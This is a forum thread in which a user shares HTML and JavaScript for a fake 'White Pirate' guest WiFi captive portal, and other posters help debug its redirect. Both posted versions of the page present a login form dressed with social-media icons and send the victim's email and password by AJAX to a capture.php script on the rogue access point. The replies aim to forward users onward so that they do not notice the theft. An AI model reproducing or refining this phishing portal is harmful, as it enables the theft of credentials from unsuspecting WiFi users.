SpokedVictor Posted September 5, 2014 Posted September 5, 2014 I'd love to release this to the Community.. as soon as I get it fixed ;) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR...nsitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>White Pirate WiFi</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> body { background-image: images/wallpaper-2551827.png); background-repeat: no-repeat; } </style> </head> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; } } function sendInfo() { var xmlhttp = new ajaxRequest(); document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>"; var usernamevalue=encodeURIComponent(document.getElementById("username").value) var passwordvalue=encodeURIComponent(document.getElementById("password").value) var parameters="username="+usernamevalue+"&password="+passwordvalue xmlhttp.open("POST", "http://172.16.42.1/capture.php", true) xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded") xmlhttp.send(parameters) } </script> <body text="#FFFFFF" link="#FF0004" vlink="#FF0004" alink="#FF0004"> <center> <br /> <img src="images/Wi-Fi-Alliance.png" alt="" width="200" height="128"><br /> <br /> <p><Strong>Welcome to 'White Pirate' Guest WiFi</Strong></p> <p><br /> </p> <form action="capture" method="post"> <fieldset> <p><strong>Please login using any of the following.</strong></p> <table width="500"> <tr> <td width="20%" colspan="1" align=left>Email</td> <td colspan="3"><input name="username" type="text" id="username" /></td> </tr> <tr> <td colspan="1" align=left>Password</td> <td colspan="3"><input type="password" name="password" id="password" /></td> </tr> <tr> <td><blockquote> <p><img src="images/social-facebook-box-white-icon.png" width="49" height="49" /></p> </blockquote></td> <td width="19%"><blockquote> <p><img src="images/social-yahoo-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> <td width="20%"><blockquote> <p><img src="images/social-twitter-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> <td width="41%"><blockquote> <p><img src="images/social-google-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> </tr> </table> </fieldset> </form> <p><br /> </p> <form method="POST" action="http://172.16.42.1/capture.php"> <button type="button" onclick="sendInfo();return false;">Submit</button> </form> </p> </center> </body> </html My issue is just with the button.. making sure it goes to the correct page the user is trying to go to. Quote
newbi3 Posted September 5, 2014 Posted September 5, 2014 add a javascript function: redirectToTagert() { window.location = $authtarget; } add the function to the onclick event for your button: <button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit</button> That should work fine Quote
cooper Posted September 5, 2014 Posted September 5, 2014 I don't think you should tack the invocation on to it at the end. "return false;" should probably be last in line for the onclick. Also, "redirectToTagert"? How did that 'r' move 2 places to the right? Quote
newbi3 Posted September 5, 2014 Posted September 5, 2014 Whoops lol my bad. And if return false is at the end it wont redirect the user will it? The reason it is where it is is because the first function is an ajax call and if its not there it might direct the user to the capture.php page (haven't test just speculation) Quote
SpokedVictor Posted September 6, 2014 Author Posted September 6, 2014 <html> <head> <title>White Pirate WiFi</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> body { background-image: url(images/tile8.jpg); background-repeat: repeat; } </style> </head> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; } } function redirectToTarget() { window.location = $authtarget; } function sendInfo() { var xmlhttp = new ajaxRequest(); document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>"; var usernamevalue=encodeURIComponent(document.getElementById("username").value) var passwordvalue=encodeURIComponent(document.getElementById("password").value) var parameters="username="+usernamevalue+"&password="+passwordvalue xmlhttp.open("POST", "http://172.16.42.1/capture.php", true) xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded") xmlhttp.send(parameters) } </script> <body text="#FFFFFF" link="#FF0004" vlink="#FF0004" alink="#FF0004"> <center> <br /> <br /> <h1><Strong>Welcome to 'White Pirate' Guest WiFi</Strong></h1> <p><br /> </p> <form action="capture" method="post"> <fieldset> <p><strong><em>Please login using any of the following.</em></strong></p> <table width="500"> <tr> <td width="20%" colspan="1" align=left>Email</td> <td colspan="3"><input name="username" type="text" id="username" /></td> </tr> <tr> <td colspan="1" align=left>Password</td> <td colspan="3"><input type="password" name="password" id="password" /></td> </tr> <tr> <td><blockquote> <p><img src="images/social-facebook-box-white-icon.png" width="49" height="49" /></p> </blockquote></td> <td width="19%"><blockquote> <p><img src="images/social-yahoo-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> <td width="20%"><blockquote> <p><img src="images/social-twitter-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> <td width="41%"><blockquote> <p><img src="images/social-google-box-white-icon.png" width="49" height="49"/></p> </blockquote></td> </tr> </table> </fieldset> </form> <p><br /> </p> <form method="POST" action="http://172.16.42.1/capture.php"> <button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit</button> </form> </p> </center> </body> </html Okay so here is the revised copy.. however its sending me to the "www.gstatic.com/generate_204" .. and the 'Submit' button doesnt do ANYTHING either.. doesnt even refresh the page lol nor does it $auth so i cant even change the page to continue.. :/ And yes.. i've made the typo-fixes when I tried this as well lol ;) Quote
newbi3 Posted September 6, 2014 Posted September 6, 2014 (edited) Please try to base your code off of my known working demo. https://forums.hak5.org/index.php?/topic/33554-support-evil-portal/ https://forums.hak5.org/index.php?/topic/33576-creating-a-simple-captive-portal-for-evil-portal/#entry250418 Edited September 6, 2014 by newbi3 Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.